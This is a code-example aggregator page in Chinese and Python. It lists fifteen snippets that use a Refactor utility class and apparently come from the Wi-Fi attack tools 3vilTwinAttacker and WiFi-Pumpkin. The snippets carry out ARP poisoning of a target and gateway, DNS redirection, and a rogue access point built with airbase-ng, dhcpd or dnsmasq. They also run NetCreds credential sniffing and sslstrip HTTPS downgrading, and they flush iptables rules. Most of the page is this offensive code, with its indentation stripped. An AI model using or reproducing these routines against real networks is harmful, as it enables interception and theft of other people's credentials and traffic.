本文整理汇总了Python中Modules.utils.Refactor类的典型用法代码示例。如果您正苦于以下问题:Python Refactor类的具体用法?Python Refactor怎么用?Python Refactor使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了Refactor类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: Start_Attack
def Start_Attack(self):
if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0:
QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly')
else:
chdir(self.owd)
if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0:
if len(self.txt_redirect.text()) != 0:
self.StatusMonitor(True,'stas_arp')
Refactor.set_ip_forward(1)
arp_gateway = ThARP_posion(str(self.txt_gateway.text()),str(self.txt_target.text()),
get_if_hwaddr(str(self.ComboIface.currentText())))
arp_gateway.setObjectName('Arp Posion:: [gateway]')
self.ThreadDirc['Arp_posion'].append(arp_gateway)
arp_gateway.start()
arp_target = ThARP_posion(str(self.txt_target.text()),
str(self.txt_gateway.text()),
str(self.txt_mac.text()))
self.connect(arp_target,SIGNAL('Activated ( QString ) '), self.StopArpAttack)
arp_target.setObjectName('Arp::Posion => [target]')
self.ThreadDirc['Arp_posion'].append(arp_target)
arp_target.start()
self.conf_attack(True)
redirectPackets = ThSpoofAttack('',
str(self.ComboIface.currentText()),'udp port 53',True,str(self.txt_redirect.text()))
self.connect(redirectPackets,SIGNAL('Activated ( QString ) '), self.StopArpAttack)
redirectPackets.setObjectName('Packets Spoof')
self.ThreadDirc['Arp_posion'].append(redirectPackets)
redirectPackets.start()
示例2: CoreSettings
def CoreSettings(self):
range_dhcp = self.FSettings.xmlSettings('Iprange', 'range',None,False)
self.PortRedirect = self.FSettings.xmlSettings('redirect', 'port',None,False)
self.SettingsAP = {
'interface':
[
'ifconfig %s up'%(self.Ap_iface),
'ifconfig %s 10.0.0.1 netmask 255.255.255.0'%(self.Ap_iface),
'ifconfig %s mtu 1400'%(self.Ap_iface),
'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1'
],
'kill':
[
'iptables --flush',
'iptables --table nat --flush',
'iptables --delete-chain',
'iptables --table nat --delete-chain',
'killall dhpcd',
'killall dnsmasq'
],
'dhcp-server':
[
'authoritative;\n',
'default-lease-time 600;\n',
'max-lease-time 7200;\n',
'subnet 10.0.0.0 netmask 255.255.255.0 {\n',
'option routers 10.0.0.1;\n',
'option subnet-mask 255.255.255.0;\n',
'option domain-name \"%s\";\n'%(str(self.EditApName.text())),
'option domain-name-servers 10.0.0.1;\n',
'range %s;\n'% range_dhcp,
'}',
],
'dnsmasq':
[
'interface=%s\n'%(self.Ap_iface),
'dhcp-range=10.0.0.10,10.0.0.50,12h\n',
'dhcp-option=3, 10.0.0.1\n',
'dhcp-option=6, 10.0.0.1\n',
'no-hosts\n'
'addn-hosts='+ getcwd() + '/Settings/dnsmasq.hosts\n'
]
}
Refactor.set_ip_forward(1)
for i in self.SettingsAP['interface']:popen(i)
for i in self.SettingsAP['kill']:popen(i)
dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False)
if dhcp_select != 'dnsmasq':
with open('Settings/dhcpd.conf','w') as dhcp:
for i in self.SettingsAP['dhcp-server']:dhcp.write(i)
dhcp.close()
if path.isfile('/etc/dhcp/dhcpd.conf'):
system('rm /etc/dhcp/dhcpd.conf')
move('Settings/dhcpd.conf', '/etc/dhcp/')
else:
with open('Settings/dnsmasq.conf','w') as dhcp:
for i in self.SettingsAP['dnsmasq']:
dhcp.write(i)
dhcp.close()
示例3: kill
def kill(self):
if self.Apthreads['RougeAP'] == []:return
for i in self.Apthreads['RougeAP']:i.stop()
for kill in self.SettingsAP['kill']:popen(kill)
set_monitor_mode(self.interface).setDisable()
self.Started(False)
Refactor.set_ip_forward(0)
self.ListLoggerDhcp.clear()
示例4: kill_attack
def kill_attack(self):
try:
for i in self.ThreadDirc['Arp_posion']:i.stop()
self.Ftemplates.killThread()
except:pass
chdir(self.owd)
self.StatusMonitor(False,'stas_arp')
self.StatusMonitor(False,'stas_phishing')
self.conf_attack(False)
Refactor.set_ip_forward(0)
示例5: kill
def kill(self):
if self.Apthreads['RougeAP'] == []:return
for i in self.Apthreads['RougeAP']:i.stop()
terminate = [
'killall dhcpd',
'killall dnsmasq'
'killall xterm',
'iptables --flush',
'iptables --table nat --flush',
'iptables --delete-chain',
'iptables --table nat --delete-chain']
for delete in terminate:popen(delete)
set_monitor_mode(self.interface).setDisable()
self.Started(False)
Refactor.set_ip_forward(0)
self.ListLoggerDhcp.clear()
示例6: exportHTML
def exportHTML(self):
contents = Refactor.exportHtml()
filename = QFileDialog.getSaveFileNameAndFilter(self, "Save File Logger HTML", "report.html", "HTML (*.html)")
if len(filename) != 0:
with open(str(filename[0]), "w") as filehtml:
filehtml.write(contents), filehtml.close()
QMessageBox.information(self, "3vilTwinAttacker", "file has been saved with success.")
示例7: refrash_interface
def refrash_interface(self):
self.ComboIface.clear()
n = Refactor.get_interfaces()["all"]
for i, j in enumerate(n):
if search("at", j) or search("wlan", j):
self.ComboIface.addItem(n[i])
self.discoveryIface()
示例8: SettingsScan
def SettingsScan(self):
self.data = {'Bssid':[], 'Essid':[], 'Channel':[]}
if self.get_placa.currentText() == "":
QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.')
else:
self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable())
self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False)
if self.time_scan.currentText() == "10s":count = 10
elif self.time_scan.currentText() == "20s":count = 20
elif self.time_scan.currentText() == "30s":count = 30
if self.interface != None:
if self.options_scan == "scan_scapy":
self.scapy_scan_AP(self.interface,count)
for i in self.ApsCaptured.keys():
if Refactor.check_is_mac(i):
self.data['Channel'].append(self.ApsCaptured[i][0])
self.data['Essid'].append(self.ApsCaptured[i][1])
self.data['Bssid'].append(i)
Headers = []
for n, key in enumerate(self.data.keys()):
Headers.append(key)
for m, item in enumerate(self.data[key]):
item = QTableWidgetItem(item)
item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter)
self.tables.setItem(m, n, item)
else:
if path.isfile(popen('which airodump-ng').read().split("\n")[0]):
self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump)
self.thread_airodump.daemon = True
self.thread_airodump.start()
else:
QMessageBox.information(self,'Error airodump','airodump-ng not installed')
set_monitor_mode(self.get_placa.currentText()).setDisable()
示例9: refrash_interface
def refrash_interface(self):
self.ComboIface.clear()
n = Refactor.get_interfaces()['all']
for i,j in enumerate(n):
if search('at',j) or search('wlan',j):
self.ComboIface.addItem(n[i])
self.discoveryIface()
示例10: exportHTML
def exportHTML(self):
contents = Refactor.exportHtml()
filename = QFileDialog.getSaveFileNameAndFilter(self,
"Save File Logger HTML","report.html","HTML (*.html)")
if len(filename) != 0:
with open(str(filename[0]),'w') as filehtml:
filehtml.write(contents),filehtml.close()
示例11: setupGUI
def setupGUI(self):
self.form0 = QFormLayout()
self.list_probe = QListWidget()
self.list_probe.setFixedHeight(300)
self.btn_scan = QPushButton("Scan")
self.btn_scan.clicked.connect(self.Pro_request)
self.btn_scan.setIcon(QIcon("rsc/network.png"))
self.get_placa = QComboBox(self)
n = Refactor.get_interfaces()['all']
for i,j in enumerate(n):
if search("wlan", j):
self.get_placa.addItem(n[i])
self.time_scan = QComboBox(self)
self.time_scan.addItems(["10s","20s","30s"])
self.form0.addRow("Network Adapter: ", self.get_placa)
self.form0.addRow(self.list_probe)
self.form0.addRow("Time Scan: ", self.time_scan)
self.form1 = QFormLayout()
self.form1.addRow(self.btn_scan)
self.Main.addLayout(self.form0)
self.Main.addLayout(self.form1)
self.setLayout(self.Main)
示例12: exportHTML
def exportHTML(self):
contents = Refactor.exportHtml()
filename = QFileDialog.getSaveFileNameAndFilter(self,
'Save File Logger HTML','report.html','HTML (*.html)')
if len(filename) != 0:
with open(str(filename[0]),'w') as filehtml:
filehtml.write(contents),filehtml.close()
QMessageBox.information(self, 'WiFi Pumpkin', 'file has been saved with success.')
示例13: Start_Attack
def Start_Attack(self):
if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0:
QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly')
else:
chdir(self.owd)
if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0:
if len(self.txt_redirect.text()) != 0:
self.StatusMonitor(True,'stas_arp')
Refactor.set_ip_forward(1)
self.conf_attack(True)
thr = ThreadAttackPosion(str(self.txt_target.text()),
str(self.txt_gateway.text()),
str(self.txt_mac.text()))
self.connect(thr,SIGNAL('Activated ( QString ) '), self.StopArpAttack)
thr.setObjectName('Arp Posion')
self.ThreadDirc['Arp_posion'].append(thr)
thr.start()
示例14: StartApFake
def StartApFake(self):
self.ListLoggerDhcp.clear()
if geteuid() != 0:
QMessageBox.information(self,'Error permission',
'Run as root ')
return
if len(self.selectCard.currentText()) == 0:
QMessageBox.information(self,'Error',
'Network interface not supported :(')
return
self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable())
self.config.xmlSettings('interface', 'monitor_mode',self.interface,False)
# airbase thread
thr_airbase = ProcessThread(['airbase-ng',
'-c', str(self.EditChannel.text()), '-e', self.EditApName.text(),
'-F', 'Logs/'+asctime(),self.interface])
thr_airbase.name = 'Airbase-ng'
self.thread.append(thr_airbase)
thr_airbase.start()
# settings conf
while True:
if thr_airbase.iface != None:
self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0]
self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False)
break
# thread netcreds
ThNetCreds = ProcessThread(['python','Plugins/NetCreds.py','-i',
self.config.xmlSettings('netcreds', 'interface',None,False)])
ThNetCreds.setName('Net-Creds')
self.thread.append(ThNetCreds)
ThNetCreds.start()
p = Process(target=self.CoreSettings,args=())
p.start(),p.join()
# thread dhcp
if self.config.xmlSettings('dhcp','dhcp_server',None,False) != 'dnsmasq':
Thdhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface])
self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog)
Thdhcp.setObjectName('DHCP')
self.thread.append(Thdhcp)
Thdhcp.start()
self.Started(True)
else:
Thdhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d'])
self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog)
Thdhcp.setObjectName('DHCP')
self.thread.append(Thdhcp)
Thdhcp.start()
self.Started(True)
# thread sslstrip
Thsslstrip = Threadsslstrip(self.PortRedirect)
Thsslstrip.setObjectName("Sslstrip")
self.thread.append(Thsslstrip)
Thsslstrip.start()
示例15: kill
def kill(self):
if self.Apthreads['RougeAP'] == []:return
self.FSettings.xmlSettings('statusAP','value','False',False)
for i in self.Apthreads['RougeAP']:i.stop()
for kill in self.SettingsAP['kill']:popen(kill)
set_monitor_mode(self.ConfigTwin['interface']).setDisable()
self.Started(False)
self.Apthreads['RougeAP'] = []
self.APclients = {}
with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease:
dhcpLease.write(''),dhcpLease.close()
self.btn_start_attack.setDisabled(False)
Refactor.set_ip_forward(0)
self.TabInfoAP.clearContents()
try:
self.FormPopup.Ftemplates.killThread()
self.FormPopup.StatusServer(False)
except AttributeError as e:
print e